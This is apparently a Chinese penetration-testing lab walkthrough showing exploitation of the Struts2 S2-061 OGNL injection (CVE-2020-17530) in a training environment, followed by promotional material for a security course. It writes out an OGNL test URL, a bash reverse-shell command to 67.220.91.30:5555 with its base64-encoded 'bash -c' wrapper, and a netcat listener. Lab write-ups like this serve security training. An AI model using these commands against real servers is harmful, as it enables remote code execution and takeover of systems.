【渗透测试】分享Web应用框架(Struts2)漏洞利用

【实验目的】

通过分析Struts2漏洞的原理,构造Struts2漏洞的POC,利用Struts2漏洞对目标网站进行系统命令执行,并使用nc工具进行反弹shell,了解掌握Struts2漏洞的原理并构造POC对此漏洞利用进行进一步的渗透。

【知识点】

Struts2漏洞

【实验原理】

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过。

Struts在定义action类时,拥有特定的名称。其中.do是struts 1默认的后缀,.action是struts 2默认的后缀。

Struts2 会对某些标签属性(比如id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。

通过参数构造来解析Ognl表达式,例如%{‘gcowsec-’+(2000+20).toString}预计会被解析为gcowsec-2020。

【软件工具】

  • 服务器:Centos7 1台;防火墙 1台;Kali Linux 1台;Windows 10 1台;Windows 2016 1台;
  • 交换机/路由:交换机 2台;路由器 1台;
  • 软件:火狐浏览器,BurpSuite,Netcat

【实验拓扑】

注:为展现拓扑完整性,拓扑中为实验的拓扑启动的是子任务实验(中灰色部分表示为未启动状态,蓝色部分表示为启动状态)。

【实验思路】

  1. 分析Struts2漏洞
  2. 构造Struts2漏洞POC
  3. Struts2漏洞利用使用Netcat监听反弹

【实验预期】

1.分析Struts2漏洞

2.构造Struts2漏洞POC

3.Struts2漏洞利用使用Netcat监听反弹

【实验步骤】

1.分析Struts2漏洞

(1)登录攻击机2-Windows

登录实验拓扑图左下方的【攻击机2-Windows】,打开虚拟机桌面中的火狐浏览器,输入URL地址:www.zd2.zhidaf.com:8080并按回车键,访问目标网站,如下图所示。

在火狐浏览器中,通过F12功能键查看网站源代码,发现源码链接中包含.action后缀,并且包含“Struts 2.0.1”字样的注释说明,因此可以判断当前站点使用Struts2框架进行搭建,并且id值为空,如下图所示。

(2)Strunts2漏洞验证

在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d并按回车键,发现所构造的ognl表达式被成功解析,id值变为“ceshi-150”,所执行Ognl表达式为%{'ceshi-'+(100+50).toString()},如下图所示。

www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d

2.构造Struts2漏洞POC

(1)浏览器代理服务配置

单击火狐浏览器右上角【三】图标,弹出菜单栏,单击选择【选项】,如下图所示。

依次单击【常规】→网络设置的【设置】按钮,进入火狐浏览器代理窗口,如下图所示。

单击【手动配置代理】单选按钮,【HTTP代理】那一栏设置为127.0.0.1,【端口】为8080,并单击【确定】按钮,完成浏览器代理服务配置,如下图所示。

(2)BurpSuite抓包

双击桌面上的【BurpSuiteCommunity.exe】图标,打开BurpSuite工具,弹出窗口依次单击【Leave】→【Next】→【Start Burp】,如下图所示。



弹出BurpSuite工具窗口后,单击【Proxy】选项卡,并单击【Options】选项卡,查看BurpSuite工具代理配置是否与火狐浏览器代理服务配置一致,如下图所示。

单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮,如下图所示。

在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080并按回车键,Burp Suite工具拦截到数据,右键空白处,弹出菜单后选择【Send to Reoeater】,如下图所示。

将数据包发送至Repeater模块后,右键单击选择【Change request method】选项,更改数据包请求方式,如下图所示。

更改数据包请求方式后,请求方式为POST,如下图所示。

删除第10~11行代码,如下图所示。

双击桌面上的工具文件夹,找到payload.txt文件,如下图所示。

打开payload.txt文件,复制里面的payload的内容至BurpSuite的请求数据中,如下图所示。

单击左侧【Send】按钮,构造Payload,获取目标网站服务器的用户id,当前目标服务器用户为root,则表示可成功执行系统命令,如下图所示。

单击BurpSuite的【Decoder】选项卡,对所需Bash语句进行base64编码,左侧大空白区填写bash语句,输入以下bash语句,bash语句表示为使用TCP协议连接67.220.91.30的5555端口,如下图所示。

bash –i >& /dev/tcp/ 67.220.91.30/5555 0>&1

单击【Encode as …】拉下菜单,选择【Base64】,将其bash语句编码为base64,如下图所示。

下方则显示bash语句编码后的base64,如下图所示。

复制base64编码,单击【Repeater】选项卡,输入以下命令,替换payload的【id】字符串,如下图所示。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Ny4yMjAuOTEuMzAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

注:在构造的新数据包中其中add()函数内需要指定base64编码后的bash语句,bash –c指令会从第一个非选项参数后面的字符串中读取命令,如果字符串有多个空格,第一个空格前面的字符串是要执行的命令。通过管道符“|”进行命令拼接,再次将编码后的Bash语句进行base64解码,然后在系统中执行。

3.Struts2漏洞利用使用Netcat监听反弹

(1)登录攻击机1-kali Linux

选择拓扑图中左上方的【攻击机1-kali Linux】,按右键,在弹出的菜单中选择【控制台】,输入账号密码root/com.1234,登录【攻击机1-kali Linux】界面,如下图所示。
image-20240603175036656

(2)开启Netcat监听

登录实验拓扑图左上方的【攻击机1-kali Linux】,用户名/密码:root/com.1234。右键单击虚拟机桌面空白处,选择【Open Terminal Here】选项,在【攻击机1-kali Linux】中打开终端窗口,如下图所示。

在终端窗口中输入以下命令,使用netcat开启本地监听,本地监听端口为5555,如下图所示。

nc -lvvp 5555

注:以下为-lvvp命令的详解:

  • -l 监听模式
  • -vv 比-v更详细的输出
  • -p 设置本地端口
  • -e 绑定命令行

返回至【攻击机2-Windows】虚拟机中,在Burpsuite抓包工具的Repeater模块中,单击【Send】按钮,右侧响应报文回显结果为空,如下图所示。

(3)shell反弹

当包含bash语句的恶意请求数据包被发送,此时bash指令被写入和执行,【攻击机1-kali Linux】中所创建的nc监听即可被响应,可以发现响应结果中包含目标服务器的终端标识符,如下图所示。

执行ip add命令,可以发现当前目标服务器的IP地址为172.18.0.2/16,如下图所示。

执行ls命令可以发现,存在Dockerfile文件,并且终端提示符中看似是一个docker容器名称,由此基本可以断定当前网站服务是部署在目标服务器的Docker容器中,如下图所示。

【实验结论】

通过上述实验操作,分析Struts2漏洞的原理,构造Struts2漏洞的POC,利用Struts2漏洞对目标网站进行系统命令执行,并使用nc工具进行反弹shell,了解掌握Struts2漏洞的原理并构造POC对此漏洞利用进行进一步的渗透,满足实验预期要求。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

在这里插入图片描述

一、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

二、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

在这里插入图片描述

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

img

2、Linux操作系统

img

3、WEB架构基础与HTTP协议

img

4、Web渗透测试

img

5、渗透测试案例分享

img

6、渗透测试实战技巧

图片

7、攻防对战实战

图片

8、CTF之MISC实战讲解

图片

三、适合学习的人群

基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

在这里插入图片描述

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐